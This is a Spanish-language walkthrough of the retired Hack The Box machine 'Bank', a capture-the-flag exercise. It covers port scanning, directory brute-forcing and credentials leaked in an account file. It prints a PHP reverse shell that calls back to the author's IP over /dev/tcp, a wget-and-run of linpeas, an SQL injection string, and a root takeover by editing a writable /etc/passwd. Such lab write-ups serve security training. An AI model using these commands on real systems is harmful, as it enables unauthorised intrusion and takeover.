# Bank Writeup [ES] - Hack The Box

## Descripcion 📕

Hoy vamos a hacer la maquina `Bank` la cual es una maquina retirada, dificultad EASY.

Requerimientos para la maquina:

- nmap
- nslookup
- dig
- feroxbuster
- wordlist

## Links utiles 🔗

- https://garethkerr.substack.com/p/linux-privilege-escalation-exploiting-d1d
- https://github.com/epi052/feroxbuster
- https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
- https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

## User Flag 🧑

Arrancamos por scanear puertos como se suele hacer siempre 
```bash
nmap -T4 --min-rate 5000 -sV -A -o bank 10.10.10.29
Nmap scan report for 10.10.10.29 (10.10.10.29)
Host is up (0.17s latency).
Not shown: 990 closed ports
PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp    open     domain      ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp    open     http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
407/tcp   filtered timbuktu
541/tcp   filtered uucp-rlogin
1521/tcp  filtered oracle
5907/tcp  filtered unknown
8701/tcp  filtered unknown
8994/tcp  filtered unknown
24444/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```
Viendo que el puerto 53 esta abierto sabemos que hay un dns, al ser bank la maquina podemos suponer que existe el dominio `bank.htb` el cual es normal en muchas maquinas de htb llamarse como la maquina + .htb, agreguemos esto al `/etc/hosts` y probemos

```bash
cat /etc/hosts             
127.0.0.1       localhost
10.10.10.29     bank.htb
```

Una vez eso entramos a `bank.htb` y ahora veremos un portal con un login

![img](https://raw.githubusercontent.com/jd-apprentice/blog-assets/main/htb/bank/1.png)

Podemos probar cosas basicas como SQL Injection haciendo un `'OR 1=1--` pero no conseguimos nada, asi que lo primero que vamos a hacer es intentar encontrar paginas ocultas, para eso vamos a usar `feroxbuster`

```bash
feroxbuster --insecure -u http://bank.htb -m GET -w ~/Documents/Security/wordlists/directory_list_lowercase_2.3_medium.txt --threads 200 -C 401
```

De esta forma obtenemos muchisimas paginas, pero la que nos interesa es `balance-transter` en esta vamos a encontrar un monton de cuentas con extension `.acc` lo cual si vemos son demasiadas, pero como estamos en un indexador de archivos vamos a ordenar por lo que vamos viendo.

Por el campo `Last modified` no se ve nada diferente, por `Size` hay una que pesa 257 lo cual es muy difenrete a la mayoria y se ve que esta es la que nos interesa por que fallo la encryptacion y tiene los datos del usuario

```
68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===
```

Con esto vamos a volver a la pagina del login e intentar logearnos con estas credenciales.

Nos pudimos logear!

![img](https://raw.githubusercontent.com/jd-apprentice/blog-assets/main/htb/bank/2.png)

Mirando rapidamente en la pagina dashboard no hay nada interesante, pero en la pagina `Support` vemos un formulario, veamos como funciona el mismo.

Por lo visto solo podemos subir imagenes

![img](https://raw.githubusercontent.com/jd-apprentice/blog-assets/main/htb/bank/3.png)

Veamos el source code para ver como funciona esta pagina, viendo el codigo fuente podemos ver un comentario el cual nos falicita mucho las cosas

```html
                <div style="position:relative;">
                		<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
				        <a class='btn btn-primary' href='javascript:;'>
				            Choose File...
				            <input type="file" required style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="fileToUpload" size="40"  onchange='$("#upload-file-info").html($(this).val().replace("C:\\fakepath\\", ""));'>
				        </a>
				        &nbsp;
				        <span class='label label-info' id="upload-file-info"></span>
				</div>
```
Por lo visto si le agregamos .htb a un archivo estariamos ejecutando codigo `php` del lado del servidor, con esta informacion vamos a crear una reverse shell de php con extension .htb, algo asi como `reverse.php.htb`

Algo asi

```php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.34/4444 0>&1'");
?>
```

Previo a esto vamos a abrir un servidor de netcat en el puerto deseado (en mi caso 4444)

```bash
nc -lvpn 4444
```

Una vez subido nuestro archivo con la reverse shell con extension `.htb` vamos a hacerle click donde esta el `attachment` que dice `Click here`

Esto va a ejecutar el codigo php y obtenemos reverse shell!

![img](https://raw.githubusercontent.com/jd-apprentice/blog-assets/main/htb/bank/4.png)

En la carpeta `/home/chris/user.txt` tenemos la primera flag donde podemos verla con el usuario actual.

## Root Flag 🖥

Para enumerar el sistema voy a usar un script llamado `linpeas` el cual sirve para encontrar vulnerabilidades en los sistemas. Tenemos que subirlo a la maquina lo cual vamos a primero en nuestra maquina host levantar un server de python donde tenemos el script.

```bash
sudo python3 -m http.server 8000
```

Despues en la maquina target vamos a hacer

```bash
cd /tmp
wget <TU_IP:8000>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

En el reporte de linpeas podemos ver lo siguiente

```bash
Interesting writable files owned by me or writable by everyone (not in Home) (max 500)                                                                       
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                                                         
/etc/passwd
```

Viendo que tenemos permisos de escritura en el `/etc/passwd` podemos agregarle una password al usuario `root` de la siguiente manera

```bash
openssl passwd hola
P6afTBIDyFGYE
```

Esto lo vamos a agregar en /etc/passwd

```bash
www-data@bank:/tmp$ cat /etc/passwd                                                                                                                             
root:x:0:0:root:/root:/bin/bash                                                                                                                       
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                                                                                              
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```
Donde va la x en root, vamos a agregar el hash que nos dio el `openssl`

```bash
root:P6afTBIDyFGYE:0:0:root:/root:/bin/bash
```

Ahora vamos a hacer un `su` y escribimos la password que usamos antes `hola`

![img](https://raw.githubusercontent.com/jd-apprentice/blog-assets/main/htb/bank/5.png)

## Conclusion 🏁

Felicitaciones! Si llegaste hasta aca es porque lograste hacer el root de la maquina `Bank` de Hack The Box. Espero que hayas aprendido algo nuevo.

Si tenes alguna duda o consideras que algo se puede mejorar me podes contactar atravez de mis [redes](https://links.jonathan.com.ar/)

Si necesitas ayuda con escenarios mas dificiles o simplemente queres compartir sobre lo que te gusta en comunidad, te invito a unirte a [HTB Argentina](https://discord.gg/GjJyVDCAwH)
